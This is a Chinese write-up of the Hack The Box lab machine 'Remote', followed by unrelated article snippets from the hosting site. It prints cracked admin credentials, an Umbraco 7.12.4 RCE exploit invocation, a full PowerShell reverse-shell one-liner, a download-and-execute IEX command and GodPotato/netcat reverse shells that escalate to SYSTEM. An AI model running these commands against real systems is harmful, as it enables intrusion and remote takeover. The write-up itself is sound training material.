HTB:Remote[WriteUP]

ops/2025/1/22 8:45:37/

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

将靶机TCP开放端口号提取并保存

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用ftp尝试匿名登录靶机FTP服务

使用smbclient尝试匿名登录靶机SMB服务

边界突破

使用gobuster对靶机进行路径FUZZ

使用浏览器访问/umbraco路径

使用列出靶机NFS服务器中的所有共享

在当前目录新建backups目录,并将靶机NFS服务器中的/site_backups共享挂载至该目录

在Web.config文件中可以找到关于Umbraco版本信息

尝试在该文件中匹配SQL相关字样

我找到该文件,并尝试寻找hash密码

使用john对该哈希值进行字典爆破

使用上述凭证成功登入/umbraco路径

使用searchsploit检索该WebAPP漏洞

在攻击机本地侧准备好nishang的反弹Shell

横向移动

查看靶机系统信息

查看靶机系统中存在的账户

查看当前账户拥有的特权

查看靶机系统中安装.NET框架版本

使用impacket-smbserver在攻击机本地侧开启SMB服务器

靶机直接使用GodPotato-NET35反弹Shell回攻击机

再次查看当前账户特权信息

权限提升

接着如法炮制从普通Web用户提权到authority\network的步骤


连接至HTB服务器并启动靶机

靶机IP:10.10.10.180

分配IP:10.10.16.21


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.10.180 -r 1-65535 --ulimit 5000 | tee res

将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,  
21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680
                                                                                                                                    
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
                                                                                                                                    
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports                                                                
21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn 10.10.10.180 

  • 需要重点关注的服务

21端口:FTP服务

80端口:HTTP服务

139、445端口:SMB服务

5985端口:Win-RM服务

111、2049端口:NFS服务

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.10.180

使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.10.180

使用ftp尝试匿名登录靶机FTP服务

ftp 10.10.10.180

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ftp 10.10.10.180
Connected to 10.10.10.180.
220 Microsoft FTP Service
Name (10.10.10.180:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||49687|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> exit
221 Goodbye.

  • 靶机FTP服务器中什么文件都没有

使用smbclient尝试匿名登录靶机SMB服务

smbclient -L \\10.10.10.180

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# smbclient -L \\10.10.10.180                         
Password for [WORKGROUP\root]:
session setup failed: NT_STATUS_ACCESS_DENIED

  • 无法匿名列出靶机SMB服务器中的任何共享

边界突破

使用gobuster对靶机进行路径FUZZ

gobuster dir -u http://remote.htb/ -w ../dictionary/Common-dir.txt -x php,jsp,asp,aspx -t 200

  • 此处我注意到访问/install路径会被重定向至/umbraco
使用浏览器访问/umbraco路径

使用列出靶机NFS服务器中的所有共享

showmount -e 10.10.10.180

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)

在当前目录新建backups目录,并将靶机NFS服务器中的/site_backups共享挂载至该目录

  • 由文件名可见,该备份关于Umbraco
在Web.config文件中可以找到关于Umbraco版本信息
  • Umbraco_7.12.4

尝试在该文件中匹配SQL相关字样
cat Web.config | grep -i sql

  • 由输出可见,该WebAPP使用MySQL,且信息存储在了Umbraco.sdf文件中
我找到该文件,并尝试寻找hash密码
strings App_Data/Umbraco.sdf | grep hash

adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa
  • 将该哈希值截取出来,并保存到文件中
echo 'b8be16afba8c314ad33d812f22a04991b90e2aaa' > hash

使用john对该哈希值进行字典爆破

john hash --wordlist=../dictionary/rockyou.txt

账户:adminadmin@htb.local

密码:baconandcheese

使用上述凭证成功登入/umbraco路径

使用searchsploit检索该WebAPP漏洞

searchsploit umbraco

  • 将有关7.12.4版本的RCE脚本拷贝到当前目录中
searchsploit -m 49488.py

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 49488.py
  Exploit: Umbraco CMS 7.12.4 - Remote Code Execution (Authenticated)
      URL: https://www.exploit-db.com/exploits/49488
     Path: /usr/share/exploitdb/exploits/aspx/webapps/49488.py
    Codes: N/A
 Verified: False
File Type: Python script, ASCII text executable, with very long lines (723)
Copied to: /home/kali/Desktop/temp/49488.py

  • 尝试利用该脚本
python 49488.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://remote.htb' -c powershell.exe -a whoami

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# python 49488.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://remote.htb' -c powershell.exe -a whoami
iis apppool\defaultapppool

在攻击机本地侧准备好nishang的反弹Shell
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.21',1425);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
  • 通过上述EXP脚本加载
python 49488.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://remote.htb' -c powershell.exe -a "-noprofile -command IEX(New-Object Net.WebClient).downloadString('http://10.10.16.21:6666/Invoke-PowerShellTcpOneLine.ps1')"
  • 攻击机本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.16.21] from (UNKNOWN) [10.10.10.180] 49697

PS C:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool

  • 在C:\Users\Public\Desktop目录下找到user.txt文件


横向移动

查看靶机系统信息

systeminfo

查看靶机系统中存在的账户

net user

PS C:\> net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest                    
WDAGUtilityAccount       
The command completed with one or more errors.

查看当前账户拥有的特权
whoami /priv

  • 由输出可见,该账户拥有SeImpersonatePrivilege特权因此可以尝试土豆提权
查看靶机系统中安装.NET框架版本
ls C:\Windows\Microsoft.NET\Framework

  • 由输出可见,靶机已安装.NET4

使用impacket-smbserver在攻击机本地侧开启SMB服务器

impacket-smbserver temp . -smb2support
  • 控制靶机连接至攻击机SMB服务器
net use Z: \\10.10.16.21\temp
靶机直接使用GodPotato-NET35反弹Shell回攻击机
.\GodPotato-NET35.exe -cmd ".\nc.exe -cmd.exe 10.10.16.21 1426"
  • 攻击机本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1426
listening on [any] 1426 ...
connect to [10.10.16.21] from (UNKNOWN) [10.10.10.180] 49716
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

Z:\>C:

C:\>whoami
whoami
nt authority\network service

再次查看当前账户特权信息

whoami /priv

  • 由输出可见,当前账户拥有SeAssignPrimaryTokenPrivilege、SeImpersonatePrivilege特权

权限提升

接着如法炮制从普通Web用户提权到authority\network的步骤

GodPotato-NET35.exe -cmd "./nc.exe -e cmd.exe 10.10.16.21 1427"

  • 攻击机本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1427
listening on [any] 1427 ...
connect to [10.10.16.21] from (UNKNOWN) [10.10.10.180] 49727
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

Z:\>C:
C:

C:\Users>whoami
whoami

nt authority\system

  • 在C:\Users\Administrator\Desktop目录下找到root.txt文件


http://www.ppmy.cn/ops/152154.html

相关文章

自动化01

测试用例的万能公式:功能测试界面测试性能测试易用性测试安全性测试兼容性测试 自动化的主要目的就是用来进行回归测试 新产品--第一个版本 (具备丰富的功能),将产品的整体进行测试,人工创造一个自动化测试用例,在n个版本的时候…

【腾讯云】docker创建网络遇到Unable to enable SKIP DNAT rule

docker创建网络遇到Unable to enable SKIP DNAT rule 背景 今天打算在服务器上安装es,但是在创建网络时,提示 Error response from daemon: Failed to Setup IP tables: Unable to enable SKIP DNAT rule: (iptables failed: iptables --wait -t nat -I DOCKER…

【2024年终总结】我与CSDN的一年

👉作者主页:心疼你的一切 👉作者简介:大家好,我是心疼你的一切。Unity3D领域新星创作者🏆,华为云享专家🏆 👉记得点赞 👍 收藏 ⭐爱你们,么么哒 文章目录 …

@RabbitListener处理重试机制完成后的异常捕获

application.properties中配置开启手动签收 spring.rabbitmq.listener.direct.acknowledge-modemanual spring.rabbitmq.listener.simple.acknowledge-modemanual定义一个重试器 Slf4j Configuration public class RabbitMQRetryConfing {Bean("customRetry")publi…

【深度学习入门】深度学习知识点总结

一、卷积 (1)什么是卷积 定义:特征图的局部与卷积核做内积的操作。 作用:① 广泛应用于图像处理领域。卷积操作可以提取图片中的特征,低层的卷积层提取局部特征,如:边缘、线条、角。 ② 高层…

更新布局元素的属性

每个布局元素都有一组可以通过编程来更新的属性.布局元素有很多种不同的类型,如图例,图形,文本,地图整饰等等. 操作方法: 1.打开目标活动地图文档 2.打开python窗口 3.导入arcpy模块 import arcpy.mapping as mapping 4.引用当前活动地图文档,把该引用赋值给变量 mxd map…

Apache SeaTunnel 2.3.9 正式发布:多项新特性与优化全面提升数据集成能力

近日,Apache SeaTunnel 社区正式发布了最新版本 2.3.9。本次更新新增了Helm 集群部署、Transform 支持多表、Zeta新API、表结构转换、任务提交队列、分库分表合并、列转多行 等多个功能更新! 作为一款开源、分布式的数据集成平台,本次版本通过…

STM32 HAL库函数入门指南:从原理到实践

1 STM32 HAL库概述 STM32 HAL(Hardware Abstraction Layer)库是ST公司专门为STM32系列微控制器开发的一套硬件抽象层函数库。它的核心设计理念是在应用层与硬件层之间建立一个抽象层,这个抽象层屏蔽了底层硬件的具体实现细节,为开发者提供了一套统一的、…